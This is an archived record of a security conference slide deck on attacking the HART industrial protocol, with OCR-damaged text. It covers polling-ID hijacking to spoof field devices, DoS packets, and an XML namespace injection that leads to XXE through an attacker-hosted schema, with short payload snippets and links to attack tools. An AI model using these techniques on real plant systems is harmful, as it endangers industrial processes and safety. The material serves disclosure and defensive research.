{
	"id": "3e32c75c-68a6-4e9d-ae7d-223a8c0aac90",
	"created_at": "2026-04-06T01:30:09.250932Z",
	"updated_at": "2026-04-10T03:20:29.387847Z",
	"deleted_at": null,
	"sha1_hash": "afefcb45b79891df1bebc1e3f31db654b091f02a",
	"title": "HART as an Attack Vector",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 65298,
	"plain_text": "HART as an Attack Vector\r\nArchived: 2026-04-06 01:19:09 UTC\r\n1.\r\nInvest  in  security   to  secure  investments   HART  as  an  A)ack  Vector:     from  Current  Loop  to\r\n Applica:on  Layer   Alexander  Bolshev     Security  analyst  at  ERPScan   S4x14     Digital  Bond  \r\n2.\r\n    Distributed  systems   researcher,  Ph.D.   Yet  another  man  in   somecolorhat   Alexander  Bolshev  \r\n3.\r\nERPScan  Inc.   Leading  SAP  AG  partner  in  discovering  and  solving  security   vulnerabili:es    by  the\r\n number  of  found  vulnerabili:es   •  The  first  to  develop  so;ware  for  NetWeaver  J2EE   assessment   • \r\nDeveloped  ERPScan  Security  Monitoring  Suite:  the  only   soluHon  to  assess  all  areas  of  SAP\r\n security   •  Invited  to  talk  at  more  than  35  security  conferences   worldwide:  BlackHat\r\n (US/EU/DC/UAE),  RSA,  Defcon,   CONFidence,  HITB,  etc.   •  Research  team  with  experience  in\r\n different  areas  of   security:  from  ERP  and  web  security  to  mobile,  embedded   devices,  and  criHcal\r\n infrastructure,  accumulaHng    their   knowledge  in  SAP  research  \r\n4.\r\nWhat  is  HART?   •  Highway  Addressable  Remote  Transducer  Protocol   •  Developed   by   Rosemount\r\n  in   mid-‐1980s,   supported   by   Hart   CommunicaHon  FoundaHon  (HCF)   •  Different   physical  \r\nlayers:   Current   Loop,   Wireless   (802.15.4),   HART-‐over-‐IP,  RS-‐485   •  Mainly   used   for  \r\ncommunicaHng   between   soQware/PLC   and   RTUs  (originally  transmi]ers)   •  Mostly   used   in  \r\nhazardous   environments,   i.e.   power   plants,   chemical  factories,  oil  \u0026  gas  industry.   •  Current  \r\nloop   line   length   can   reach   up   to   3km   =\u003e   possible   physical  security  problem   •  Hart  protocol:\r\n Simple.  Reliable.  Secure.  ©  HCF   erpscan.com   4  ERPScan  —  invest  in  security  to  secure\r\n investments  \r\n5.\r\nHART  devices   • RTUs     –  Transmi]ers  (temperature,  pressure,  etc.)   –  I/O  devices   •  PLC  modules\r\n  •  Gateways   •  Modems   •  Communicators   erpscan.com   5  ERPScan  —  invest  in  security  to\r\n secure  investments  \r\n6.\r\nHART  soQware   • SCADA  and  HMI   •  OPC   •  PAS  (Plant  Assets  management  So;ware)   •  MES\r\n (and  even  ERP!)  integraHon  components     erpscan.com   6  ERPScan  —  invest  in  security  to\r\n secure  investments  \r\nhttps://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nPage 1 of 7\n\n7.\r\nHART  vendors       erpscan.com   7   And  much  more!   ERPScan  —  invest  in  security  to  secure\r\n investments  \r\n8.\r\nTypical  HART  infrastructure       erpscan.com   8   Current  Loop   PAS   MES   RTUs   SCADA/OPC  \r\nPLCs HART   modem   HART   modem   HART   communicator   ERPScan  —  invest  in  security  to\r\n secure  investments  \r\n9.\r\nHART  layers   Physical  layers:   –  FSK  (Copper  wiring,  4-‐20mA  current  loop):   •  point-‐to-‐point\r\n mode  (analog/digital)     •  mulHdrop  mode  (digital)     –  Wireless  HART  (over  802.14.5)   –  HART-‐\r\nover-‐IP  (TCP,  UDP)   –  RS-‐485  HART  gateways       erpscan.com   9   OSI  Layer   HART   7  \r\nApplicaHon   Hart  commands   2   Datalink   Binary,  Master/Slave  protocol  with  CRC   1   Physical  \r\nFSK  via  Copper  wiring,  Wireless,  RS-‐485,  HART-‐IP   ERPScan  —  invest  in  security  to  secure\r\n investments  \r\n10.\r\nHART  over  Current  Loop  (HART  FSK)       erpscan.com   10   *picture  from  h]p://hartcomm.org  \r\nERPScan  —  invest  in  security  to  secure  investments  \r\n11.\r\nHART  connec:on       erpscan.com   11   +   24V   -‐   250Ohm   RTUs  RTU   External  Hardware   HART\r\n Communicator   Source  wiring     (change  polarity  for  sink,    add  forth  wire  for  isolated)   ERPScan\r\n —  invest  in  security  to  secure  investments  \r\n12.\r\nHART  packet  structure   •  Every  packet  started  with  0xff…0xff  preamble   •  Two  packet  types:  short\r\n and  expanded   •  Two  address  type:  polling  and  unique   •  Three  frame  types:   –  Burst  frame\r\n (BACK,  1)   –  Master  to  field  device  (STX,  2)   –  Field  device  to  master  (ACK,  6)   •  Check  byte:\r\n XOR  of  all  bytes   •  Three  types  of  commands:  Universal,  Common  PracHce  and   Device\r\n Families.     erpscan.com   12   Delimeter   Address   [Expand]   Command   Byte  Count   [Data]   Check\r\n byte   ERPScan  —  invest  in  security  to  secure  investments  \r\n13.\r\nHART  commands   HART  has  two  addressing  schemes:   –  Polling  ID  (set  by  engineer,  used  for\r\n geong  unique  ID)   –  Unique  ID  (unique  per  RTU)   HART  commands  divides  into  three  groups:  \r\n•  Universal:   –  OperaHons  with  id,  geong  main  variable,  tag  operaHons,  e.t.c.   •  Common  pracHce:\r\n  –  Engineering  and  process  specific  commands.   •  Device  Families:   –  Device  family  specific\r\n commands.    erpscan.com   13  ERPScan  —  invest  in  security  to  secure  investments  \r\nhttps://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nPage 2 of 7\n\n14.\r\nPossible  risks   If  a]acker  will  get  access  to  the  HART  channel,  he  could:   •  Jam  the  channel  to\r\n distract  normal  process.   •  Reconfigure  RTUs  (change  the  variables  limits,  alarm   ranges,  e.t.c.),\r\n even  reflash  and  write  to  EEPROM.   •  Spoof  some  RTUs  variable  data  (we’ll  talk  later  about  \r\nhow  to  do  this).   •  Exploit  vulnerabili?es  in  HART  soBware.   •  ACack  systems  that  uses  data  from\r\n HART  soBware.       erpscan.com   14  ERPScan  —  invest  in  security  to  secure  investments  \r\n15.\r\nBut…       erpscan.com   15  ERPScan  —  invest  in  security  to  secure  investments   …you  can’t  just\r\n simply  spoof  the  HART  packet.  \r\n16.\r\nSpoof  is  impossible  in  HART  FSK?   •  The  following  a]acks  are  possible  only  if  a]acker  can  force\r\n  HART  master  to  connect  to  his  forged  HART  device  instead  of   real  device.     •  But  HART\r\n protocol  FSK  physical  layer  based  on  FSK,  half-‐duplex   and  master-‐slave  scheme,  so  we  can’t\r\n simply  spoof  HART   packet,  because  if  we  both  answer  on  master  packet,  collision   will  occur.   • \r\nHART  is  secured  against  such  a)acks  according  to  vendors.   So,  spoofing  a)acks  impossible  in\r\n HART?     That’s  false.  We  can’t  simply  spoof,  but  we  can     change  RTU  polling  ID.   erpscan.com\r\n  16  ERPScan  —  invest  in  security  to  secure  investments  \r\n17.\r\nA)ack  scheme       erpscan.com   17  ERPScan  —  invest  in  security  to  secure  investments   Current\r\n loop   Master   Slave   (1)  Normal  process:  master  speaks  with  slave   Command  with  address  -‐\u003e  \r\nE0BD010303   \u003c-‐  Reply   PollID:  1   UniqueID:  E0BD010303     Sniffing  traffic   A]acker  \r\n18.\r\nA)ack  scheme       erpscan.com   18  ERPScan  —  invest  in  security  to  secure  investments   Current\r\n loop   Master   Slave   (2)  A]acker  JAMs  the  line   PollID:  1   UniqueID:  E0BD010303     A]acker  \r\n19.\r\nA)ack  scheme       erpscan.com   19  ERPScan  —  invest  in  security  to  secure  investments   Current\r\n loop   Master   Slave   (3)  Immediately  a;er  that  sends  command  6  to  RTU     Change  your  polling\r\n id  to  9  -‐\u003e  \u003c-‐  Reply   PollID:  9   UniqueID:  E0BD010303     A]acker  \r\n20.\r\nA)ack  scheme       erpscan.com   20  ERPScan  —  invest  in  security  to  secure  investments   Current\r\n loop   Master   Slave   (4)  Master  asks:  who  has  polling  ID  equal  to  1?   Command  0  for     polling\r\n id  1  -‐\u003e   \u003c-‐  Reply   PollID:  9   UniqueID:  E0BD010303     PollID:  1   UniqueID:  E0BD010304    \r\nA]acker  \r\nhttps://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nPage 3 of 7\n\n21.\r\nA)ack  scheme       erpscan.com   21  ERPScan  —  invest  in  security  to  secure  investments   Current\r\n loop   Master   Slave   (5)  Now  master  speaks  to  a]acker,  not  to  RTU   Command  with  address  \r\nE0BD010304  -‐\u003e   \u003c-‐  Reply   PollID:  9   UniqueID:  E0BD010303     PollID:  1   UniqueID:\r\n E0BD010304     A]acker  \r\n22.\r\nExample:  INOR  MePro   •  An  example:  INOR  MePro  2.12.01   •  HART   transmi]ers   setup,  \r\ncalibraHon,   and   diagnosHcs   so;ware   •  Denial  of  Service  vulnerability:       HART  command  0\r\n replies  with  0  in  length  and  \u003e250  ‘A’   (smashing  maximum  packet  length)     erpscan.com   22\r\n ERPScan  —  invest  in  security  to  secure  investments  \r\n23.\r\nINOR  MePro  2.12.01  DoS       erpscan.com   23  ERPScan  —  invest  in  security  to  secure\r\n investments  \r\n24.\r\nA)acks  on  the  upper  levels:  PAS   •  Plant  Assets  management  So;ware  provides  tools  for  managing\r\n  plants  assets,  integrates  with  MES  \u0026\u0026  ERP   •  There  are  PAS  soluHons  for  managing  RTUs  and\r\n PLCs   •  Most  popular  soluHons:  FieldCare  and  PACTWare   •  Most  of  the  soluHons  are  based  on\r\n FDT/DTM  standard   •  FDT  standardizes  the  communicaHon  and  configuraHon   interface  between\r\n all  field  devices  and  host  systems   •  DTM  provides  a  unified  structure  for  accessing  device  \r\nparameters,  configuring  and  operaHng  the  devices,  and   diagnosing  problems   •  DTMs  can  be  also\r\n used  for  OPC  \u0026\u0026  SCADA   erpscan.com   24  ERPScan  —  invest  in  security  to  secure  investments\r\n \r\n25.\r\nerpscan.com   25       Current  Loop   Transmi]ers  \u0026\u0026  I/O  HART   modem   CommDTM   DeviceDTM  \r\nFrame  ApplicaHon   COM  Container   COM  Components   ERPScan  —  invest  in  security  to  secure\r\n investments   What  is  FDT/DTM?  \r\n26.\r\nExample  frame  applica:on:  FieldCare   erpscan.com   26  ERPScan  —  invest  in  security  to  secure\r\n investments  \r\n27.\r\nFDT/DTM  architecture   erpscan.com   27   *diagram  from  the  official  FDT/DTM  specificaHon  \r\nERPScan  —  invest  in  security  to  secure  investments  \r\n28.\r\nhttps://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nPage 4 of 7\n\nXML:  worth  a  try   What  will  happen  if  the  a]acker  inserts  some  bad  XML   symbols  in  the  device\r\n tag?   erpscan.com   28  ERPScan  —  invest  in  security  to  secure  investments  \r\n29.\r\nIs  it  usable?   •  Unfortunately,  HART  device  tag  cannot  exceed  8  bytes   (6  packed  ASCII)  and\r\n should  only  be  in  upper-‐case   •  Fortunately,  HART  long  device  tag  can  be  up  to  32   ASCII\r\n characters   •  Thus,  a  DTM  component  that  using  it  for  device   idenHficaHon  may  be  vulnerable  \r\nAnd  we  found  such  a  component  made  by  a  VERY  BIG   vendor!   erpscan.com   29  ERPScan  —\r\n invest  in  security  to  secure  investments  \r\n30.\r\nXML  NS  injec:on   •  We  have  only  32  bytes  for  XML  injecHon  and  cannot   access  the  beginning\r\n of  document   •  So  XML  NS  injecHon  was  used  to  include  external  XDR   schema:   \" xmlns=\"x-schema:http://pc erpscan.com   30  ERPScan  —  invest  in  security  to  secure  investments  \r\n31.\r\nInjec:ng  link  into  external  XDR  schema     erpscan.com   31  ERPScan  —  invest  in  security  to\r\n secure  investments  \r\n32.\r\nXDR  schema  injec:on  →  XXE   •  It  works.  Now  we  can  start  the  web  server  that  returns  the  \r\nspecially  cra;ed  XML  schema,  which  will  provide  an  XXE:     C:Tools\u003etype index.html \u003c?xml\r\nversion=\"1.0\" encoding=\"ISO-8859-1\"?\u003e \u003c!DOCTYPE Ent [ \u003c!ELEMENT Ent ANY\u003e \u003c!ENTITY xxe\r\nSYSTEM \"http://127.0.0.1:81/\"\u003e ]\u003e \u003cEnt\u003e\u0026xxe;\u003c/Ent\u003e C:Tools\u003epython simplehttp.py Serving HTTP on\r\n0.0.0.0 port 80 ... erpscan.com   32  ERPScan  —  invest  in  security  to  secure  investments  \r\n33.\r\nWorking  XML  eXternal  En:ty     erpscan.com   33  ERPScan  —  invest  in  security  to  secure\r\n investments  \r\n34.\r\nA)ack  scheme       erpscan.com   34   Current  loop   PAS   PAS  Web  (e.g.  condiHon  monitoring)/MES  \r\nXML  data   Long  tag  change  packet   \"  xmlns=“x-‐schema:h]p://q123.ru     A]acker   HART  transmi]er\r\n  XMLI   Evil  web   server   Request  for  remote  XDR  schema   Reply  with  XXE   XXE   1   2   3   4   5\r\n  Internet ERPScan  —  invest  in  security  to  secure  investments  \r\n35.\r\nNote!   •  FieldCare  has  decent  architecture,  but  it  isn't  vulnerable  in  this   way:  the  vulnerability\r\n persists  only  in  the  component   erpscan.com   35   Another  component     reac:on  to  external  en:ty  \r\nhttps://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nPage 5 of 7\n\nBut  you  have  thousands  of  DMTs  to  check    this  a)ack  against  them!   ERPScan  —  invest  in\r\n security  to  secure  investments  \r\n36.\r\nPossible  risks  \u0026\u0026  consequences   XXE  allows  a]ackers  to  do  evil  things,  such  as:   •  Reading  files  \r\n•  NTLM  relay  a]acks   •  SSRF  (server  side  request  forgery)  a]acks   •  XML  parser  DoS  (memory\r\n consumpHon,  etc.)   Moreover,  as  you  can  see  on  slides,  the  vulnerable   component  uses  Internet\r\n Explorer  to  resolve  external   XML  inclusions,  and  it  can  also  be  used  by  the  a]acker  if   the  IE\r\n version  is  old  and  unpatched  (possible  RCE  and   other  things)   erpscan.com   36  ERPScan  —\r\n invest  in  security  to  secure  investments  \r\n37.\r\nHART  over  IP   •  HART  can  work  over  TCP  or  over  UDP  (port  5094  or   20004/20003)   •  No\r\n authen:ca:on  required  at  all!   •  First,  client  (e.g.  OPC)  and  server  (e.g.  transmi]er)  establish  \r\ncommunicaHon,  then  HART  commands  and  answers  can  be   directly  sent  in  packets  with  a\r\n HART-‐IP  header   erpscan.com   37  ERPScan  —  invest  in  security  to  secure  investments  \r\n38.\r\nHART  OPC  Server       erpscan.com   38  ERPScan  —  invest  in  security  to  secure  investments  \r\n39.\r\nAnother  DoS    Cra;  a  packet  with  a  bad  HART-‐IP  header:     hartip = 'x41x01x00x00x00x02' +\r\n'x0000'   erpscan.com   39  ERPScan  —  invest  in  security  to  secure  investments  \r\n40.\r\nTools  developed   • HRTShield  –  a  high-‐power  low-‐noise  HART  modem   Arduino  shield  for\r\n sniffing,  injecHng,  and  jamming   current  loop   •  Python  HART  protocol  library  and  some  scripts\r\n for   HRTShield  (JAM,  change  long  tag,  and  others…)   •  Metasploit  auxiliary  modules  for  scanning\r\n HART-‐IP   ports  in  networks  and  run  basic  HART  commands,  such   as  device  idenHficaHon,\r\n reading  and  changing   parameters,  working  with  tags   erpscan.com   40  ERPScan  —  invest  in\r\n security  to  secure  investments  \r\n41.\r\n42.\r\nConclusion   •   HART  isn’t  as  secure  as  they  have  been  telling  you.   Sniffing  and  injecHng  in\r\n current  loop  is  possible   •   Every  skilled  electric  engineer/hardware  hacker  can   create  HART\r\n devices  easily   •   Thus,  physical  security  is  the  ToDo  item  No.1  when  you   are  planning  HART\r\n infrastructure   •   HART-‐IP  protocol  needs  deep  redesign  to  make  it  more   secure  and  reliable  \r\nerpscan.com   42  ERPScan  —  invest  in  security  to  secure  investments  \r\n43.\r\nhttps://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nPage 6 of 7\n\nLinks   •   HART  Shield  Circuit  and  PCB  (Eagle):   h]ps://github.com/Darkkey/hrtshield   •   Python\r\n scripts  and  sketches  for  *duino:     h]ps://github.com/Darkkey/harHnsecurity   •   Metasploit  modules:  \r\nh]ps://github.com/Darkkey/hartmeta   erpscan.com   43  ERPScan  —  invest  in  security  to  secure\r\n investments  \r\n44.\r\nThanksgiving  service   •   Alexander  Malinovskiy  (Weedle)  for  great  help  with  HART   physical  layer\r\n research  and  making  HRTShield   •   Alexander  Polyakov  (sh2kerr)  for  making  this  research\r\n possible   •   Fedor  Savelyev  and  Grigoriy  Savelyev  for  consultaHons  on   graduaHng  amplifiers   • \r\n Svetlana  Cherkasova  for  some  binary  magic   •   KonstanHn  Karpov  (QweR)  for  helping  with\r\n delivering  HART   devices   •   Maxim  Integrated  for  great  ICs  and  support   •   The\r\n electronics.stackexchange.com  guys  for  answering  many   stupid  quesHons     erpscan.com   44\r\n ERPScan  —  invest  in  security  to  secure  investments  \r\n45.\r\nWeb:    www.erpscan.com   e-‐mail:     info@erpscan.com   abolshev@erpscan.com                                    \r\nTwi]er:     @erpscan   @dark_k3y   Thank  you  for  listening!   Any  Q?  \r\nSource: https://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nhttps://www.slideshare.net/slideshow/17-bolshev-1-13/32178888\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.slideshare.net/slideshow/17-bolshev-1-13/32178888"
	],
	"report_names": [
		"32178888"
	],
	"threat_actors": [],
	"ts_created_at": 1775439009,
	"ts_updated_at": 1775791229,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/afefcb45b79891df1bebc1e3f31db654b091f02a.pdf",
		"text": "https://archive.orkl.eu/afefcb45b79891df1bebc1e3f31db654b091f02a.txt",
		"img": "https://archive.orkl.eu/afefcb45b79891df1bebc1e3f31db654b091f02a.jpg"
	}
}